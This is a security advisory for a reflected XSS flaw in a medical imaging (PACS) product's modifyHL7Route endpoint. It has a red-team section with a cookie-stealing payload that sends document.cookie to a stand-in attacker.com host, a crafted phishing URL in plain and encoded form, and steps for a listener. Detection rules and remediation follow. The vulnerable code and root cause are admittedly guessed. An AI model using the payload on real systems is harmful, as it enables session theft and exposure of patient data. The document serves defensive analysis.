CVE-2025-53854

Executive Summary

CVE-2025-53854 is a reflected cross-site scripting (XSS) vulnerability in the modifyHL7Route functionality of MedDream PACS Premium version 7.3.6.870. An attacker can craft a malicious URL that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the context of the victim's browser session. The vulnerability has a CVSS score of 6.1 (Medium) and currently has no known patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains due to the sensitive nature of PACS (Picture Archiving and Communication System) environments handling medical imaging data.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed to trigger the XSS.
• User Interaction: Required (UI:R) – The victim must click a crafted link.
• Scope: Changed (S:C) – The XSS can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited modification of content possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the context of medical data makes this a significant risk. An attacker could steal session tokens, perform actions on behalf of the victim, or exfiltrate sensitive patient information.

Deep Dive & Mechanics

The vulnerability resides in the modifyHL7Route endpoint of MedDream PACS Premium. The application fails to properly sanitize user-supplied input reflected in the HTTP response. By crafting a URL with malicious JavaScript in a parameter (likely route or similar), the server echoes the payload back to the user without proper encoding or escaping.

Root Cause: Lack of output encoding/escaping for user-controlled input in the modifyHL7Route functionality. The application likely uses a templating engine or direct string concatenation that does not HTML-encode the reflected parameter.

Attack Flow:

1. Attacker crafts a URL: https://target-pacs-server/modifyHL7Route?route=<script>alert('XSS')</script>
2. Attacker sends the link to a victim (e.g., via phishing email).
3. Victim clicks the link while authenticated to the MedDream PACS system.
4. The server reflects the malicious script in the response.
5. The victim's browser executes the script, allowing the attacker to steal cookies, perform actions, or exfiltrate data.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (conceptual)
app.get('/modifyHL7Route', (req, res) => {
    const route = req.query.route;
    res.send(`<div>Route: ${route}</div>`); // Direct reflection without encoding
});

A patched version would use proper encoding:

// Patched code (conceptual)
const escapeHtml = require('escape-html');
app.get('/modifyHL7Route', (req, res) => {
    const route = req.query.route;
    res.send(`<div>Route: ${escapeHtml(route)}</div>`); // Encoded output
});

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target MedDream PACS server (version 7.3.6.870)
• Victim user with active session
• Attacker-controlled server to receive exfiltrated data

Exploit Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Crafted URL:

https://target-pacs/modifyHL7Route?route=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

1. URL-encode the payload for reliability:

   https://target-pacs/modifyHL7Route?route=%3Cscript%3Efetch('https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D'%2Bdocument.cookie)%3C%2Fscript%3E
   

2. Send the link to the victim via email or social engineering.
3. Set up a listener on attacker.com to capture cookies.
4. Once victim clicks, the cookie is sent to the attacker.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor web server logs for requests to /modifyHL7Route containing <script> or onerror= patterns.
2. Deploy a WAF rule to block reflected XSS patterns in query parameters.
3. Use browser-based XSS filters (X-XSS-Protection header, though deprecated, still useful in some browsers).
4. Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation Steps:

1. Apply input validation and output encoding on the server side.
2. Use a security library like OWASP Java Encoder or DOMPurify.
3. If possible, disable the modifyHL7Route endpoint until a patch is available.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /modifyHL7Route with query parameters containing <script>, onerror, javascript:, or base64-encoded payloads.
• Outbound connections from the PACS server to unknown IPs/domains (data exfiltration).

Host IOCs:

• Web server logs showing repeated requests to /modifyHL7Route with unusual parameters.
• Browser history or proxy logs showing the crafted URL.

File IOCs:

• No specific file-based IOCs for this reflected XSS.

Detection Engineering

YARA Rule

rule CVE_2025_53854_MedDream_XSS {
    meta:
        description = "Detects reflected XSS attempts against MedDream PACS modifyHL7Route"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-53854"
    strings:
        $xss_pattern1 = /modifyHL7Route\?.*<script/i
        $xss_pattern2 = /modifyHL7Route\?.*onerror\s*=/i
        $xss_pattern3 = /modifyHL7Route\?.*javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against MedDream PACS modifyHL7Route
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to /modifyHL7Route with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
        cs-uri-stem|contains: '/modifyHL7Route'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns in testing
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53854 MedDream PACS Reflected XSS Attempt"; flow:to_server; content:"/modifyHL7Route"; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the modifyHL7Route endpoint if not critical for operations.
2. Implement a Web Application Firewall (WAF) rule to block XSS patterns in query parameters.
3. Add Content Security Policy (CSP) headers: Content-Security-Policy: default-src 'self'; script-src 'self'
4. Enable X-XSS-Protection header (though limited, provides some defense in older browsers).

Long-Term Fix:

• Apply proper output encoding/escaping for all user-supplied input reflected in responses.
• Use a security framework that automatically encodes output (e.g., OWASP Java Encoder, Microsoft AntiXSS).
• Conduct a full security audit of the application for similar vulnerabilities.

Vendor Contact:

• Since no patch is available, contact MedDream support and request a security update.
• Monitor vendor advisories for future patches.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert